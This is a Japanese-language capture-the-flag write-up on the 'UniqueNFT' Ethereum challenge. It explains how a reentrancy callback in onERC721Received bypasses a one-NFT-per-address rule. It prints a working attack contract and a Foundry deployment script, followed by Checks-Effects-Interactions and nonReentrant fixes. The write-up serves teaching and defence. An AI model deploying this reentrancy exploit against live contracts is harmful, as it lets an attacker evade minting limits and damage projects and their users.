Skip to content
On this page

UniqueNFT CTF 課題解析:”一人一NFT”制限の突破方法

課題の背景とコアメカニズム

UniqueNFT は、イーサリアム上のスマートコントラクトを対象としたCTFチャレンジで、参加者のイーサリアムアカウントモデル、ERC721標準、およびコントラクト間の相互作用の深い理解を試すことを目的としています。本課題では、各アドレスが1つのNFTしか保有できず、NFTは転送できないという一見厳格なルールがあります。しかし、コントラクトのコールバックメカニズムを巧妙に利用することで、この制限を突破することが可能です。

コア制約条件の分析

  1. アカウントタイプの区別

    • 外部所有アカウント(EOA):無料でNFTをミント可能
    • スマートコントラクトアカウント:NFTをミントするには1 ETHが必要
  2. 一意性の制限

    solidity
    require(balanceOf(msg.sender) == 0, "only one unique NFT allowed");
    
  3. 転送不可

    solidity
    require(from == address(0), "transfers not allowed");
    

技術的脆弱性の深堀り

1. _mintNFT() 関数の実行フロー

まず、 _mintNFT() 関数の実行順序を詳しく分析します:

solidity
function _mintNFT() private returns(uint256) {
    require(balanceOf(msg.sender) == 0, "only one unique NFT allowed");
    uint256 _tokenId = tokenId++;
    ERC721Utils.checkOnERC721Received(address(0), address(0), msg.sender, _tokenId, "");
    _mint(msg.sender, _tokenId);
    return _tokenId;
}

注目ポイントは実行順序です:

  1. まず残高が0かを確認
  2. tokenIdを割り当て
  3. checkOnERC721Received を呼び出し(この時点ではNFTはまだミントされていない)
  4. _mint 関数を実行

2. checkOnERC721Received のコールバックメカニズム

ERC721Utils.checkOnERC721Received は、受信者がコントラクトかどうかを確認し、コントラクトの場合はその onERC721Received メソッドを呼び出します:

solidity
function checkOnERC721Received(
    address from,
    address to,
    uint256 tokenId,
    bytes memory data
) internal returns (bool) {
    if (to.isContract()) {
        try IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, data) 
        returns (bytes4 retval) {
            return retval == IERC721Receiver.onERC721Received.selector;
        } catch {
            return false;
        }
    }
    return true;
}

3. 状態更新のタイミングの問題

脆弱性の核心は、コールバックが発生した時点では balanceOf(msg.sender) がまだ更新されていないことにあります。つまり、NFTの所有権情報はまだコントラクトに書き込まれていません。

攻撃手法の設計と実装

攻撃原理

onERC721Received コールバック内でNFTが実際にミントされる前に再度ミント関数を呼び出すことで、”一人一NFT”制限を回避できます。コールバック時点では balanceOf が0のままなので、制約をすり抜けることが可能です。

攻撃用コントラクトの詳細

solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

import { ERC721 } from "./deps/ERC721.sol";
import { ERC721Utils } from "./deps/ERC721Utils.sol";
import { ReentrancyGuard } from "./deps/ReentrancyGuard.sol";
import {Address} from "./deps/Address.sol";
import {IERC721Receiver} from "./deps/IERC721Receiver.sol";

import "./UniqueNFT.sol";

contract MyContract is IERC721Receiver {
    using Address for address payable;
    using Address for address;
    
    UniqueNFT private immutable _uniqueNFT;
    uint256 private constant TOKENID = 2;
    
    constructor(address uniqueNFT_) {
        _uniqueNFT = UniqueNFT(uniqueNFT_);
    }
    
    function play() external {
        // EOA用ミント関数を呼び出し(無料)
        bytes memory data = abi.encodeWithSelector(UniqueNFT.mintNFTEOA.selector);
        address(_uniqueNFT).functionCall(data);
    }
    
    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external returns (bytes4) {
        // 重要:コールバック内でtokenIdをチェックし、2未満なら再度ミント
        if (_uniqueNFT.tokenId() < TOKENID) {
            this.play();
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

攻撃手順の詳細

  1. 攻撃コントラクトのデプロイIERC721Receiver インターフェースを実装

  2. 初回ミントplay() 関数を呼び出してNFTを最初にミント

  3. コールバック攻撃

    • checkOnERC721Received 呼び出し時、攻撃コントラクトの onERC721Received が実行
    • コールバック内で再度 play() を呼び出す
    • この時点では balanceOf(attackContract) がまだ0のため、制約を回避
    • 目標数に達するまで繰り返す
  4. 終了条件_uniqueNFT.tokenId() < TOKENID によって無限ループを防止

デプロイスクリプト

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol"; 
import {UniqueNFT, MyContract} from "../test/unique-nft/UniqueNFT.sol";

contract MyScript is Script { 
    function run() external { 
        // UniqueNFTコントラクトアドレス
        address UNIQUE_NFT = address(0xd4aaD74C0cE6c1364758AF11953EB49dbDfaD7aE);

        // プレイヤーの秘密鍵とアドレス取得
        uint256 playerpk = vm.envUint("PRIVATE_KEY");
        address player = vm.addr(playerpk);

        // 取引ブロードキャスト開始
        vm.startBroadcast(playerpk);
        
        // 攻撃コントラクトをデプロイ
        MyContract my = new MyContract(UNIQUE_NFT);
        
        // 必要に応じて委任を付与
        vm.signAndAttachDelegation(address(my), playerpk);
        
        // 攻撃開始
        MyContract(payable(address(my))).play();
        
        vm.stopBroadcast();
    }
}

防御策とベストプラクティス

1. Checks-Effects-Interactions(CEI)パターンの遵守

正しい実装はCEIパターンに従うべきです:

solidity
function _mintNFT() private returns(uint256) {
    require(balanceOf(msg.sender) == 0, "only one unique NFT allowed");
    uint256 _tokenId = tokenId++;
    
    // まず状態を更新
    _mint(msg.sender, _tokenId);
    
    // 最後に外部呼び出し
    ERC721Utils.checkOnERC721Received(address(0), address(0), msg.sender, _tokenId, "");
    
    return _tokenId;
}

2. 重要関数に対する再入防止

問題の関数には nonReentrant 修飾子を適用する必要があります:

solidity
function mintNFTEOA() external nonReentrant returns(uint256 mintedNFT) {
    require(tx.origin == msg.sender, "not an EOA");
    mintedNFT = _mintNFT();
}

3. 状態変数更新のタイミング確認

コールバックを伴う関数では、重要な状態更新がコールバック前に完了していることを確認すべきです:

solidity
function _safeMint(address to, uint256 tokenId) internal virtual {
    _mint(to, tokenId);
    require(
        _checkOnERC721Received(address(0), to, tokenId, ""),
        "ERC721: transfer to non ERC721Receiver implementer"
    );
}

まとめと教訓

UniqueNFT CTF課題は、スマートコントラクト開発でよく見られる危険なパターンを示しています:状態更新前の外部呼び出し。このパターンは再入攻撃や状態操作攻撃を引き起こす原因となります。

重要な教訓:

  1. CEIパターンの厳守:チェック → 状態更新 → 外部呼び出しの順でコードを書く
  2. コールバックメカニズムの理解:ERC721の safeMintsafeTransfer はコールバックを伴う
  3. 包括的なテスト:通常のフローだけでなく、境界条件や例外もテスト
  4. 成熟したセキュリティパターンの利用:OpenZeppelinの再入防止や一時停止機能など

このチャレンジは攻撃能力だけでなく、開発者にとって微細な実行順序の違いがセキュリティに与える影響を理解する重要性を教えてくれます。

Built with AiAda